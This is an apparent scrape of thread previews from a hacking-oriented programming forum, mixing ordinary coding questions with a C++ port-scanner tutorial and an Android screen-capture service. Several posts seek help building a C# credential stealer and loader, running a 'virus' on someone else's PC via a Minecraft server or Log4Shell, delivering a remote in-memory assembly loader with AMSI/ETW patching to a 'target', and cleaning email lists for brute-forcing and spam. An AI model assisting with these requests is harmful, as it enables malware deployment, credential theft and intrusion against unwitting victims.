Почему при инжекте крашит длл при её изменении из нутри при помощи HxD
До

Code:Copy to clipboard

2B 5D 20 6F 77 6E 65 64 20 62 79 20 50 69 6E 6B 4B 69 6E 67 23 38 31 39 39 20 68 74 74 70 73 3A 2F 2F 74 2E 6D 65 2F 6C 70 73 6F 70 67 20 28 6E 6F 74 20 6D 79 20 63 72 61 63 6B 2C 20 67 6F 6F 64 20 67 61 6D 65 20 29

https://imgur.com/sIgXWKU

После

Code:Copy to clipboard

6F 77 6E 65 64 20 62 79 20 52 6F 64 6A 23 33 36 36 36 20 67 6F 6F 64 20 67 61 6D 65

https://imgur.com/ghXzOr4

Hardcoded link inside exe
ID: 6765d804b4103b69df375833
Thread ID: 79816
Created: 2023-01-12T15:10:18+0000
Last Post: 2023-01-12T18:27:19+0000
Author: kokoganev
Replies: 2 Views: 449

Hey guys , I'm trying to understand one repository and I hope you will help me.
It's a remote execute-assembly.
So I'm creating a .exe /called ExecremoteNet.exe/ file using the .sln. The example is:
"
ExecremoteNET.exe "
and when I run it on my PC like this :
Execremotenet.exe it's working, BUT
I don't know what to send to the target so when he click on the file the InmemoryNet.exe to be downloaded and then the command ExecremoteNET.exe to be executed.

I know it a lame question but obviously I'm a newbie and I need your help.
Thanks in advance
This is the repository:

github.com

[ GitHub - D1rkMtr/ExecRemoteAssembly: Execute Remote Assembly with args

passing and with AMSI and ETW patching ](https://github.com/D1rkMtr/ExecRemoteAssembly)

Execute Remote Assembly with args passing and with AMSI and ETW patching - GitHub - D1rkMtr/ExecRemoteAssembly: Execute Remote Assembly with args passing and with AMSI and ETW patching

github.com github.com

Удаление Shadow Volume без использования vssadmin
ID: 6765d804b4103b69df375983
Thread ID: 54672
Created: 2021-08-01T15:36:40+0000
Last Post: 2021-08-01T19:18:45+0000
Author: pxEx0Z
Replies: 3 Views: 448

Предприимчивые граждане разобрали код IVssCoordinator COM API, нашли пару недокументированных возможностей (по утверждению автора)

link: https://github.com/vxunderground/VXUG-Papers/tree/main/Xaoc

Запуск команды cmd на другом пк через консоль minecraft (aternos)
ID: 6765d804b4103b69df37580a
Thread ID: 83923
Created: 2023-03-16T16:12:39+0000
Last Post: 2023-03-29T21:12:39+0000
Author: izen02
Replies: 3 Views: 447

нужно загрузить вирус на с++ (он уже будет в ехе) и запустить его на другом пк, на сервере я админ
можно как то запускать java код в консоли маинкрафта? или использовать log4shell, но я не совсем понял как с ним на атернос попасть

загрузку можно сделать через curl, задача в том, чтобы выполнить строчку в cmd на чужом пк

С++ | Библиотека urlmoon не скачивает файл
ID: 6765d804b4103b69df37584e
Thread ID: 77620
Created: 2022-12-08T03:19:57+0000
Last Post: 2022-12-08T03:19:57+0000
Author: uglydavidka
Replies: 0 Views: 446

Скачиваю файл со своего сайта используя библиотеку urlmoon, сам файл сохраняется не теряя расширения и пути, но при этим содержимое файла всегда одно, что то на подобие

Code:Copy to clipboard

<html><head><script>function set_cookie(){var now = new Date();var time = now.getTime();time += 19360000 * 1000;now.setTime(time);document.cookie='beget=begetok'+'; expires='+now.toGMTString()+'; path=/';}set_cookie();location.reload();;</script></head><body></body></html>

В чем проблема?

Ошибка одного из элементов, при запуске программы
ID: 6765d804b4103b69df375853
Thread ID: 77391
Created: 2022-12-05T08:32:59+0000
Last Post: 2022-12-05T08:32:59+0000
Author: HarryCod
Replies: 0 Views: 445

Написал исходник нового приложения на IOS, на тестах ошибок не было, но при запуске кода в этом месте появилась ошибка, я не понимаю откуда и что не так
var t = readLine()!
var s = readLine()!
var len_s = s.count
var t_lis = Set(t)
var c_s = Counter(s)
var c_t = Counter(t_lis[len_s])
var c_res = String: String
var summ = 0
for e in c_s{
c_res[e] = [c_s[e], min( c_s[e], c_t[e] )]
summ += c_res[e][1]}
for i in (t.count-s.count) + 1 {
if summ == len_s-1{
print(i)
break

}
if t _in c_res
if c_res[t _][1] > 0{
c_res[t _][1] -= 1
summ -= 1
}
if i+len_s < t.count && t[i+len_s] in c_res
if c_res[ t[i+len_s] ][1] < c_res[ t[i+len_s] ][0]{
c_res[ t[i+len_s] ][1] += 1
summ += 1

}
else
print(-1)
}
Кто может подсказать как быть?
И кто-нибудь знает качественный сервис для анализа кода? Что может сделать один код уникальным для нескольких проектов. Заранее спасибо!___

Изменение текста в MessageBox
ID: 6765d804b4103b69df37574f
Thread ID: 105419
Created: 2024-01-09T20:07:36+0000
Last Post: 2024-01-12T15:24:29+0000
Author: dxeglow
Replies: 9 Views: 444

Всем привет! Я новичок в программировании и только недавно начал изучать "C" кодинг. Однако на днях появился вопрос: есть ли способ изменить текст в MessageBox без изменения HEX? Например, я написал программу с "MessageBox(NULL, L"", L"", MB_OK)" и как в этом можно изменить текст без изменения HEX?

Пытался через дебаггеры, но всё тщетно.....

Надеюсь, вы мне поможете...

Как создать тихий MSI инсталлер?
ID: 6765d804b4103b69df375731
Thread ID: 110280
Created: 2024-03-12T18:42:51+0000
Last Post: 2024-03-12T20:31:08+0000
Author: Russian_Coder
Replies: 3 Views: 443

Нужно вот такой MSI инсталлер создать чтобы при запуске сразу пошла установка и запуск программы которая распакуется, какие варианты и методы создания такого формата файла есть?
1710268961028.png

How to compile C++ right?
ID: 6765d804b4103b69df37578b
Thread ID: 98457
Created: 2023-09-20T12:45:20+0000
Last Post: 2023-09-28T15:32:45+0000
Author: GGHTC
Replies: 4 Views: 443

Hi, I am coding in C++ right now and I tested the exe on a windows Machine without visual studio installed. Now my exe says DLLs, not found etc. How can I Compile my c++ script so it runs on every pc, without any things installed?

I use windows.h

Ищу Rootkit Development Pack
ID: 6765d804b4103b69df3758e1
Thread ID: 64251
Created: 2022-03-14T16:49:05+0000
Last Post: 2022-03-20T12:26:57+0000
Author: one_deal
Replies: 6 Views: 443

В свое время его выкладывали на http://rootkits.ru/.
https://web.archive.org/ к сожалению не помог.

Может быть у кого нибудь остался на жестком диске.

Помогите археологу!

Нужен совет
ID: 6765d804b4103b69df375948
Thread ID: 58895
Created: 2021-11-15T08:23:10+0000
Last Post: 2021-11-22T15:55:36+0000
Author: NaVese1e
Replies: 7 Views: 441

Доброго времени суток , я новичок в теме кода, нужна помощь , совет
Вообще вкратце , пишу вредоносное ПО , нашёл исходник , конечно же нужно делать ребилд , в коде было больше 370 ошибок , исправил
Суть вопроса вот в чем , когда я компилирую , на выходе выходит файл в формате .bin
Это файл .bin что с ним делать я не в курсе с какой программой его применять? В нем кодинг.

Ищу книгу Windows via C/C++ Рихтер
ID: 6765d804b4103b69df375814
Thread ID: 83743
Created: 2023-03-13T19:07:31+0000
Last Post: 2023-03-13T20:57:17+0000
Author: BlessedCode
Replies: 4 Views: 440

Может у кого завалялась на пк данное сокровище, прошу поделиться
Залейте сюда пожалуйста
И конечно же в переводе:)

Делаем свой Сканер портов на С++
ID: 6765d804b4103b69df37596a
Thread ID: 56798
Created: 2021-09-17T17:20:18+0000
Last Post: 2021-09-21T20:50:57+0000
Author: Dido
Replies: 7 Views: 438

Вступление​

Сканер портов - это софтина, которая проверяет сервер на наличие открытых портов, пытаясь подключиться к серверу через каждый порт по очереди. После программа обычно сообщает, какие порты были открыты, а какие закрыты. Более сложные реализации сканеров портов, такие как Nmap помимо всего могут предоставлять и другую инфу, начиная от версии ПО заканчивая версией браузера. Сканирование портов обычно выполняется системными администраторами для проверки безопасности сети или злоумышленниками (хаЦкерами), которые ищут открытый порт, через который можно поставить под угрозу безопасность сервера, или в народе - просунуть свою жопу, дабы чем поживится.

Наш первый скан портов в первородном виде
Повторяясь, скан портов так же просто, как попытка подключения к адресу и порту по средствам сокетов. Если попытка подключения успешна, порт должен быть открыт. В противном случае fail, порт закрыт.
Начнем с функции-чекера, использующей сетевой модуль SFML для проверки открыт ли порт:

Функция port_is_open:

C++:Copy to clipboard

bool port_is_open(const std::string& address, int port)
{
    sf::TcpSocket socket; // через глобал. пилим сокет
    bool open = (socket.connect(sf::IpAddress(address), port) == sf::Socket::Done); // проверяем на open
    socket.disconnect(); // закрываем
    return open;
}

Пояснительная бригада на выезд:

  1. Сначала мы создаем экземпляр sf :: TcpSocket, который позволяет нам подключаться к удаленному сокету.
  2. Затем подключаем сокет. Мы преобразуем строку «адрес» в экземпляр sf :: IpAddress, вызывая конструктор для sf :: IpAddress. Если явный вызов конструктора не заюзали, компилятор все равно выполнит его неявно. После попытки подключения мы проверяем, было ли соединение успешным, сравнивая возвращаемое значение функции sf :: TcpSocket :: connect со значением sf :: Socket :: Done. Если они равны, это означает, что соединение установлено и порт открыт. В этом случае для переменной open установлено значение true.
  3. Далее мы отключаем сокет с помощью функции sf :: TcpSocket :: disconnect. Это будет сделано автоматически в деструкторе, если мы оставим явный вызов.
  4. Наконец, мы возвращаем значение open вызывающей функции.

Здесь мы создаем новый sf :: TcpSocket, подключаемся к адресу и порту и затем возвращаем 1 или 0 в зависимости от того, удалось ли соединение. Мы избавляемся от напряжного явного вызова конструктора sf :: IpAddress, а также от вызова sf :: TcpSocket :: disconnect (). Мы можем использовать эту функцию прямо здесь:

Функция FirtsTempMain:

C++:Copy to clipboard

#include <iostream>
#include <SFML/Network.hpp> // не забудь её скачать и подключить
#include <string>

static bool port_is_open(const std::string& address, int port)
{
    return (sf::TcpSocket().connect(address, port) == sf::Socket::Done);
}

int main()
{
    std::cout << "Port 80 : ";
    if (port_is_open("localhost", 80))
        std::cout << "OPEN" << std::endl;
    else
        std::cout << "CLOSED" << std::endl;
    return 0;
}

Снимок экрана 2021-09-17 194158.png
Есть пробитие!
Попробуйте скомпилировать и запустить эту программу. Она проверит, открыт ли порт 80 на вашем компьютере. Обратите внимание, что «localhost» означает локальный компьютер; вы также можете использовать IP-адрес 127.0.0.1 или :: 1 (версия IPv6, хотя SFML еще не поддерживает IPv6). Вы можете изменить "localhost" на IP-адрес или веб-адрес другого веб-сайта (не включая "http: //" и любую информацию о пути).

А даватей проапдейтим наш сканер, чтобы он был похож как у настоящих тру- хацкеров в фильмах и боевиках.

Улучшенный сканер портов​

Теперь, когда мы успешно разработали программу, которая может сканировать порт по адресу, мы изменим нашу программу, чтобы юзер, то есть вы, могли сами выбирать порты и адреса для скана:

C++:Copy to clipboard

#include <iostream>
#include <SFML/Network.hpp>
#include <string>
// тут все ясно. чекнули получили валид-сокет идем дальше
static bool port_is_open(const std::string& address, int port)
{
    return (sf::TcpSocket().connect(address, port) == sf::Socket::Done);
}


int main()
{
    std::string address; // пилим адресс
    int port; // номер апорта
    // получаем адресс.
    std::cout << "Address: " << std::flush;
    std::getline(std::cin, address);
    // получае порт.
    std::cout << "Port: " << std::flush;
    std::cin >> port;
    // поехали шерстить
    std::cout << "Scanning " << address << "...\n" << "Port " << port << " : ";
    if (port_is_open(address, port))
        std::cout << "OPEN" << std::endl;
    else
        std::cout << "CLOSED" << std::endl;
    return 0;
}

Помните, что 127.0.0.1 эквивалентно localhost. Кроме того, порт 80 может быть закрыт на вашем компьютере. Он открыт только у меня, потому что я использую HTTP-сервер Apache (порт 80 - это основной порт, обычно используемый для HTTP; другой порт, обычно используемый для HTTP, - это порт 8080).
Снимок экрана 2021-09-17 200124.png
На этот раз это может занять немного больше времени, потому что вы не сканируете свой комп, на этот раз вы подключаетесь к другому компьютеру по инету

Стек Портов​

Скан одного порта душная тема, мы хотим разогнатся на все массив портов. Один из способов сделать это - позволить юзеру вводить столько портов, сколько он хочет, а затем сканировать их все за один раз. Проблема заключается в том, что юзер может захотеть просканировать множество портов, и ему придется вводить каждый из них. Мы также могли бы позволить пользователю указать диапазон портов, скажем, 0–100, но тогда они не могли бы указывать значения за пределами этой ранжи. Нырнем глубже, и заюзаем и то, и другое - укажем диапазоны И отдельные порты в списке: '80, 8080 '; диапазон, например: «20-80»; или список, содержащий диапазоны: «20–80,8080». Этот код становится довольно сложным из-за использования шаблонов, std :: vector, std :: stringstream и цикла for C ++ 11 на основе диапазона.

Для начала нам нужна функция для разделения строк:
Функция std::vectorstd::string split:

C++:Copy to clipboard

// Разбиваем строку на "токены" возле разделителя (пробел),
// опционально пропускаем пустые токены.
static std::vector<std::string> split(const std::string& string,
                                      char delimiter = ' ',
                                      bool allow_empty = false)
{
    std::vector<std::string> tokens;
    std::stringstream sstream(string);
    std::string token;
    while (std::getline(sstream, token, delimiter)) {
        if (allow_empty || token.size() > 0)
            tokens.push_back(token);
    }
    return tokens;
}

Тип данных портов будет строкой, но нам нужно целое число, поэтому нам также понадобится функция для преобразования строк в целые числа:
Функция string_to_int:

C++:Copy to clipboard

static int string_to_int(const std::string& string)
{
    std::stringstream sstream(string);
    int i;
    sstream >> i;
    return i;
}

Если у нас есть диапазон портов, нам понадобится функция для генерации всех значений в этом диапазоне:

C++:Copy to clipboard

// Функция обмена.
template <typename T>
static void swap(T& a, T& b)
{
    T c = a;
    a = b;
    b = c;
}
// Создает вектор, содержащий диапазон значений.
template <typename T>
static std::vector<T> range(T min, T max)
{
    if (min > max)
        swap(min, max);
    if (min == max)
        return std::vector<T>(1, min);
    std::vector<T> values;
    for (; min <= max; ++min)
        values.push_back(min);
    return values;
}

Наконец, нам нужна функция для анализа списка портов с использованием вышеуказанных функций:

Функция parse_ports_list:

C++:Copy to clipboard

// Лист для парсинга портов
static std::vector<int> parse_ports_list(const std::string& list)
{
    std::vector<int> ports;
    // Лист портов.
    for (const std::string& token : split(list, ',')) {
        // Лист диапазона.
        std::vector<std::string> strrange = split(token, '-');
        switch (strrange.size()) {
            // Только одно знач. (добавьте только  в конце 'ports').
            case 0: ports.push_back(string_to_int(token));       break;
            case 1: ports.push_back(string_to_int(strrange[0])); break;
            // Два значения (диапазон - все в этом диапазоне).
            case 2:
            {
                int min = string_to_int(strrange[0]),
                    max = string_to_int(strrange[1]);
                for (int port : range(min, max))
                    ports.push_back(port);
                break;
            }
            default:
                break;
        }
    }
    return ports;
}

Финалочка:​

C++:Copy to clipboard

#include <iostream>
#include <SFML/Network.hpp>
#include <sstream>
#include <string>
#include <vector>

static bool port_is_open(const std::string& address, int port)
{
    return (sf::TcpSocket().connect(address, port) == sf::Socket::Done);
}


static std::vector<std::string> split(const std::string& string,
                                      char delimiter = ' ',
                                      bool allow_empty = false)
{
    std::vector<std::string> tokens;
    std::stringstream sstream(string);
    std::string token;
    while (std::getline(sstream, token, delimiter)) {
        if (allow_empty || token.size() > 0)
            tokens.push_back(token);
    }
    return tokens;
}

static int string_to_int(const std::string& string)
{
    std::stringstream sstream(string);
    int i;
    sstream >> i;
    return i;
}

template <typename T>
static void swap(T& a, T& b)
{
    T c = a;
    a = b;
    b = c;
}

template <typename T>
static std::vector<T> range(T min, T max)
{
    if (min > max)
        swap(min, max);
    if (min == max)
        return std::vector<T>(1, min);
    std::vector<T> values;
    for (; min <= max; ++min)
        values.push_back(min);
    return values;
}

static std::vector<int> parse_ports_list(const std::string& list)
{
    std::vector<int> ports;
    for (const std::string& token : split(list, ',')) {
        std::vector<std::string> strrange = split(token, '-');
        switch (strrange.size()) {
            case 0: ports.push_back(string_to_int(token));       break;
            case 1: ports.push_back(string_to_int(strrange[0])); break;
            case 2:
            {
                int min = string_to_int(strrange[0]),
                    max = string_to_int(strrange[1]);
                for (int port : range(min, max))
                    ports.push_back(port);
                break;
            }
            default:
                break;
        }
    }
    return ports;
}

int main()
{
    std::string address;
    std::string port_list;
    std::vector<int> ports;
    std::cout << "Address: " << std::flush;
    std::getline(std::cin, address);
    std::cout << "Port: " << std::flush;
    std::getline(std::cin, port_list);
    ports = parse_ports_list(port_list);
    std::cout << "Scanning " << address << "...\n";
    for (int port : ports) {
        std::cout << "Port " << port << " : ";
        if (port_is_open(address, port))
            std::cout << "OPEN\n";
        else
            std::cout << "CLOSED\n";
    }
    std::cout << std::flush;
    return 0;
}

Снимок экрана 2021-09-17 201221.png
На премию Тьюринга не претендует, но уже есть отправная точка)

Как сделать подгрузку стиллера в лоадере на C#
ID: 6765d804b4103b69df37585f
Thread ID: 76764
Created: 2022-11-26T22:18:23+0000
Last Post: 2022-11-27T12:16:08+0000
Author: kingessopper
Replies: 1 Views: 437

Как сделать подгрузку стиллера в лоадере на C#, можно самый сложный и простой способ сказать

course vs practice (youtube, google) malware development
ID: 6765d804b4103b69df37569a
Thread ID: 127108
Created: 2024-11-18T02:02:58+0000
Last Post: 2024-11-28T05:31:12+0000
Author: Lost001
Replies: 2 Views: 437

In relation to creating malware, what do you think is more efficient, courses like maldev, sektor7, sec670 or practice with suffering, in this case reading books until you understand, articles, YouTube?

How do I write a RIP routing information protocol code where is the standard format content defined?
ID: 6765d804b4103b69df3757e3
Thread ID: 86972
Created: 2023-04-30T07:17:42+0000
Last Post: 2023-05-19T23:59:04+0000
Author: bit57
Replies: 4 Views: 436

I want to write a project on the IP Routing Information Protocol, but I don't know the format and format definitions of RIP (Routing Information Protocol), OSPF (Open Shortest Path First) and BGP (Border Gateway Protocol) and the official definition of the protocol content. Find a https://www.ietf.org/rfc/rfc2082.txt but there is no detailed format content, how to write one? In which directory and file the code of the Linux routing protocol can you refer to the trouble and recommend some open source projects of this IP information protocol routing

Я хочу написать проект по протоколу IP Routing Information Protocol, но я не знаю формата и определения формата RIP (Routing Information Protocol), OSPF (Open Shortest Path First) и BGP ( Border Gateway Protocol) и официальное определение содержания протокола. Найти https://www.ietf.org/rfc/rfc2082.txt но нет подробного форматного контента, как его написать? В каком каталоге и файле код протокола маршрутизации Linux вы можете сослаться на проблему и порекомендовать некоторые проекты с открытым исходным кодом этой маршрутизации информационного протокола IP

нужно доработать сайт на asp.net C#
ID: 6765d804b4103b69df37581e
Thread ID: 81941
Created: 2023-02-14T02:49:12+0000
Last Post: 2023-02-18T03:19:34+0000
Author: crocodile325
Replies: 1 Views: 436

нужно поставить на сервак и немного доработать сайт asp.net C#

до недавнего времени был человек, который всем этим занимался. но куда то пропал.

тема встала из за этого - ищу человека кто сможет "поднять упавшее знамя" так сказать и взяться за доработки за % на постоянку либо за разовую оплату

Закат C/C++ или его эволюция
ID: 6765d804b4103b69df37588f
Thread ID: 71724
Created: 2022-08-15T17:25:05+0000
Last Post: 2022-09-11T20:20:23+0000
Author: Han-xss
Replies: 9 Views: 436

Приветствую, сколько лет будет акктуален C/C++ и стоит ли сейчас присматриваться к языку RUST и Carbon?

Может уже начать изучать Rust и Сarbon?

Как вы считаете?

Получить через peb инфу о модуле (lpBaseOfDll и SizeOfImage)
ID: 6765d804b4103b69df37583d
Thread ID: 78574
Created: 2022-12-22T06:11:38+0000
Last Post: 2022-12-24T16:59:20+0000
Author: cppjunior
Replies: 1 Views: 436

Как без GetModuleInformation получить информацию о модуле lpBaseOfDll и SizeOfImage (через peb). Помогите кодом, кому не сложно)

Не устанавливается значение в реестр C.
ID: 6765d804b4103b69df37588d
Thread ID: 73040
Created: 2022-09-11T23:46:07+0000
Last Post: 2022-09-15T13:11:09+0000
Author: n0kkster
Replies: 27 Views: 435

Имеется код, который должен задавать значение дефолтному ключу по заданному пути в реестре. Проблема заключается в том, что запуская прогу с одного пути, все отрабатывает нормально, но при запуске из например прогдаты или аппдаты значение не ставится. Проблема именно в установке дефолтного значения, значения с именем ставятся без проблем. Софт x32. Самый прикол в том, что прога падает без единой ошибки, пытался отловить дебаггером, ничего не дает, как будто где-то под капотом процесс сам себя убивает. В чем может быть проблема?

C:Copy to clipboard

wchar_t modulepath[MAX_PATH];
API(KERNEL32, GetModuleFileNameW)(0, modulepath, MAX_PATH);
API(KERNEL32, lstrcatW)(modulepath, L"\0");
HKEY key;
if (API(ADVAPI32, RegCreateKeyW)(HKEY_CURRENT_USER, L"key_path", &key) == ERROR_SUCCESS)
{
    wprintf(L"Opened key successfully\n");
    wprintf(modulepath);
    if (API(ADVAPI32, RegSetKeyValueW)(key, L"", L"", REG_SZ, modulepath, lstrLenW(modulepath) * sizeof(wchar_t)) == ERROR_SUCCESS) //default value
    {
        wprintf(L"Successfully set default value\n");
        if (API(ADVAPI32, RegSetKeyValueW)(key, L"", L"non-default_value", REG_SZ, L"", 0) == ERROR_SUCCESS)
        {
            wprintf(L"Successfully set non-default value\n");
        }
        else
            Exit(L"error setting non-default value");
    }
    else
        Exit(L"error setting default value");

UPD: Выяснил опытным путем, что если писать в реестр значение вида C:\\ProgramData, то все ок, однако стоит лишь записать C:\\ProgramData\\test и приложение начинает крашиться. И такое кстати только с програмдатой...

C# стиллер помощь
ID: 6765d804b4103b69df37573f
Thread ID: 107612
Created: 2024-02-06T11:17:35+0000
Last Post: 2024-02-06T23:45:54+0000
Author: V1zl
Replies: 7 Views: 432

Добрый день, пишу стиллер на c# и надо добавить получению юзер агента, как это реализовать?

Чистка Email адресов / .Net
ID: 6765d804b4103b69df3756cd
Thread ID: 121683
Created: 2024-08-29T10:53:09+0000
Last Post: 2024-08-29T10:53:09+0000
Author: DoesNotAwaked
Replies: 0 Views: 430

Привет всем! Начал разработку ПО для чистки баз данных емейл-адресов от:

  • невалидного синтаксиса;
  • приведения "поломанных" доменов в нормальный вид (прим. gmial.com -> gmail.com);
  • временных доменов;
  • точки и плюсы (и всё после плюса) в почтах на гмейле, замена точек на дефисы у яндекса;
  • в принципе невалидных доменов - тех, что не имеют NS-записей по DNS-у;
  • и др. улучшения.

Это ремейк проги из данной темы, которая, в свою очередь, является переписью скрипта на .php, что служил той же цели.

Какой смысл разработки? Помочь тем, кто занимается брутом / чеком / рассылками / и др. махинациями с email-адресами в чистке от мусора и улучшения общего качества баз. В общем, пишите, что можно добавить в приложение. Пока что его вижу в виде консольной программы, которая будет запускаться с аргументами типа

Code:Copy to clipboard

cleaner.exe -f "./file.txt" -dns
Taking Full screenshot using java every couple minutes using MediaProjection API
ID: 6765d804b4103b69df37597e
Thread ID: 55299
Created: 2021-08-14T15:11:58+0000
Last Post: 2021-08-14T15:11:58+0000
Author: stalkerDz
Replies: 0 Views: 430

Hi There ...as the title said
i want a source to take full screenshot with java using mdiaprojection API every couple of minutes i have this pies of code its work perfectly but not stop recording as soon it start
so i want to make it take a singles screenshot every couple minutes

Java:Copy to clipboard

package com.example.mycallrecording;

import android.annotation.SuppressLint;
import android.app.Activity;
import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.res.Resources;
import android.graphics.Bitmap;
import android.graphics.PixelFormat;
import android.hardware.display.DisplayManager;
import android.hardware.display.VirtualDisplay;
import android.media.Image;
import android.media.ImageReader;
import android.media.projection.MediaProjection;
import android.media.projection.MediaProjectionManager;
import android.os.Build;
import android.os.Environment;
import android.os.Handler;
import android.os.IBinder;
import android.os.Looper;
import android.util.Log;
import android.view.Display;
import android.view.OrientationEventListener;
import android.view.WindowManager;

import androidx.annotation.RequiresApi;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.ByteBuffer;
import java.util.Objects;
public class StartScreenCapService extends Service {
    private static final String TAG = "ScreenCaptureService";
    private static final String RESULT_CODE = "RESULT_CODE";
    private static final String DATA = "DATA";
    private static final String ACTION = "ACTION";
    private static final String START = "START";
    private static final String STOP = "STOP";
    private static final String SCREENCAP_NAME = "screencap";

    private static int IMAGES_PRODUCED;

    private MediaProjection mMediaProjection;
    private String mStoreDir;
    private ImageReader mImageReader;
    private Handler mHandler;
    private Display mDisplay;
    private VirtualDisplay mVirtualDisplay;
    private int mDensity;
    private int mWidth;
    private int mHeight;
    private int mRotation;
    private OrientationChangeCallback mOrientationChangeCallback;

    public static Intent getStartIntent(Context context, int resultCode, Intent data) {
        Intent intent = new Intent(context, StartScreenCapService.class);
        intent.putExtra(ACTION, START);
        intent.putExtra(RESULT_CODE, resultCode);
        intent.putExtra(DATA, data);
        return intent;
    }

    public static Intent getStopIntent(Context context) {
        Intent intent = new Intent(context, StartScreenCapService.class);
        intent.putExtra(ACTION, STOP);
        return intent;
    }

    private static boolean isStartCommand(Intent intent) {
        return intent.hasExtra(RESULT_CODE) && intent.hasExtra(DATA)
                && intent.hasExtra(ACTION) && Objects.equals(intent.getStringExtra(ACTION), START);
    }

    private static boolean isStopCommand(Intent intent) {
        return intent.hasExtra(ACTION) && Objects.equals(intent.getStringExtra(ACTION), STOP);
    }

    private static int getVirtualDisplayFlags() {
        return DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY | DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
    }

    private class ImageAvailableListener implements ImageReader.OnImageAvailableListener {
        @Override
        public void onImageAvailable(ImageReader reader) {

            FileOutputStream fos = null;
            Bitmap bitmap = null;
            try (Image image = mImageReader.acquireLatestImage()) {
                if (image != null) {
                    Image.Plane[] planes = image.getPlanes();
                    ByteBuffer buffer = planes[0].getBuffer();
                    int pixelStride = planes[0].getPixelStride();
                    int rowStride = planes[0].getRowStride();
                    int rowPadding = rowStride - pixelStride * mWidth;

                    // create bitmap
                    bitmap = Bitmap.createBitmap(mWidth + rowPadding / pixelStride, mHeight, Bitmap.Config.ARGB_8888);
                    bitmap.copyPixelsFromBuffer(buffer);

                    // write bitmap to a file
                    fos = new FileOutputStream(mStoreDir + "/myscreen_" + IMAGES_PRODUCED + ".png");
                    bitmap.compress(Bitmap.CompressFormat.JPEG, 100, fos);

                    IMAGES_PRODUCED++;
                    Log.e(TAG, "captured image: " + IMAGES_PRODUCED);
                }

            } catch (Exception e) {
                e.printStackTrace();
            } finally {
                if (fos != null) {
                    try {
                        fos.close();
                    } catch (IOException ioe) {
                        ioe.printStackTrace();
                    }
                }

                if (bitmap != null) {
                    bitmap.recycle();
                }

            }
        }
    }

    private class OrientationChangeCallback extends OrientationEventListener {

        OrientationChangeCallback(Context context) {
            super(context);
        }

        @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
        @Override
        public void onOrientationChanged(int orientation) {
            final int rotation = mDisplay.getRotation();
            if (rotation != mRotation) {
                mRotation = rotation;
                try {
                    // clean up
                    if (mVirtualDisplay != null) mVirtualDisplay.release();
                    if (mImageReader != null) mImageReader.setOnImageAvailableListener(null, null);

                    // re-create virtual display depending on device width / height
                    createVirtualDisplay();
                } catch (Exception e) {
                    e.printStackTrace();
                }
            }
        }
    }

    @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
    private class MediaProjectionStopCallback extends MediaProjection.Callback {
        @Override
        public void onStop() {
            Log.e(TAG, "stopping projection.");
            mHandler.post(new Runnable() {
                @Override
                public void run() {
                    if (mVirtualDisplay != null) mVirtualDisplay.release();
                    if (mImageReader != null) mImageReader.setOnImageAvailableListener(null, null);
                    if (mOrientationChangeCallback != null) mOrientationChangeCallback.disable();
                    mMediaProjection.unregisterCallback(MediaProjectionStopCallback.this);
                }
            });
        }
    }

    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }

    @Override
    public void onCreate() {
        super.onCreate();

        // create store dir
        File externalFilesDir = Environment.getExternalStorageDirectory();
        if (externalFilesDir != null) {
            mStoreDir = Environment.getExternalStorageDirectory().getPath() + "/111111111/";
            File storeDirectory = new File(mStoreDir);
            if (!storeDirectory.exists()) {
                boolean success = storeDirectory.mkdirs();
                if (!success) {
                    Log.e(TAG, "failed to create file storage directory.");
                    stopSelf();
                }
            }
        } else {
            Log.e(TAG, "failed to create file storage directory, getExternalFilesDir is null.");
            stopSelf();
        }

        // start capture handling thread
        new Thread() {
            @Override
            public void run() {
                Looper.prepare();
                mHandler = new Handler();
                Looper.loop();
            }
        }.start();
    }

    @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        if (isStartCommand(intent)) {
            // create notification
            /*Pair<Integer, Notification> notification = NotificationUtils.getNotification(this);
            startForeground(notification.first, notification.second);*/
            // start projection
            int resultCode = intent.getIntExtra(RESULT_CODE, Activity.RESULT_CANCELED);
            Intent data = intent.getParcelableExtra(DATA);
            startProjection(resultCode, data);
        } else if (isStopCommand(intent)) {
            stopProjection();
            /*stopSelf();*/
        } /*else {
            stopSelf();
        }*/

        return START_NOT_STICKY;
    }

    @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
    private void startProjection(int resultCode, Intent data) {
        MediaProjectionManager mpManager =
                (MediaProjectionManager) getSystemService(Context.MEDIA_PROJECTION_SERVICE);
        if (mMediaProjection == null) {
            mMediaProjection = mpManager.getMediaProjection(resultCode, data);
            if (mMediaProjection != null) {
                // display metrics
                mDensity = Resources.getSystem().getDisplayMetrics().densityDpi;
                WindowManager windowManager = (WindowManager) getSystemService(Context.WINDOW_SERVICE);
                mDisplay = windowManager.getDefaultDisplay();

                // create virtual display depending on device width / height
                createVirtualDisplay();

                // register orientation change callback
                mOrientationChangeCallback = new OrientationChangeCallback(this);
                if (mOrientationChangeCallback.canDetectOrientation()) {
                    mOrientationChangeCallback.enable();
                }

                // register media projection stop callback
                mMediaProjection.registerCallback(new MediaProjectionStopCallback(), mHandler);
            }
        }
    }

    private void stopProjection() {
        if (mHandler != null) {
            mHandler.post(new Runnable() {
                @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
                @Override
                public void run() {
                    if (mMediaProjection != null) {
                        mMediaProjection.stop();
                    }
                }
            });
        }
    }

    @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
    @SuppressLint("WrongConstant")
    private void createVirtualDisplay() {
        // get width and height
        mWidth = Resources.getSystem().getDisplayMetrics().widthPixels;
        mHeight = Resources.getSystem().getDisplayMetrics().heightPixels;

        // start capture reader
        mImageReader = ImageReader.newInstance(mWidth, mHeight, PixelFormat.RGBA_8888, 2);
        mVirtualDisplay = mMediaProjection.createVirtualDisplay(SCREENCAP_NAME, mWidth, mHeight,
                mDensity, getVirtualDisplayFlags(), mImageReader.getSurface(), null, mHandler);
        mImageReader.setOnImageAvailableListener(new ImageAvailableListener(), mHandler);
    }
}

Java:Copy to clipboard

package com.example.mycallrecording;

import android.app.Activity;
import android.content.Context;
import android.content.Intent;
import android.media.projection.MediaProjection;
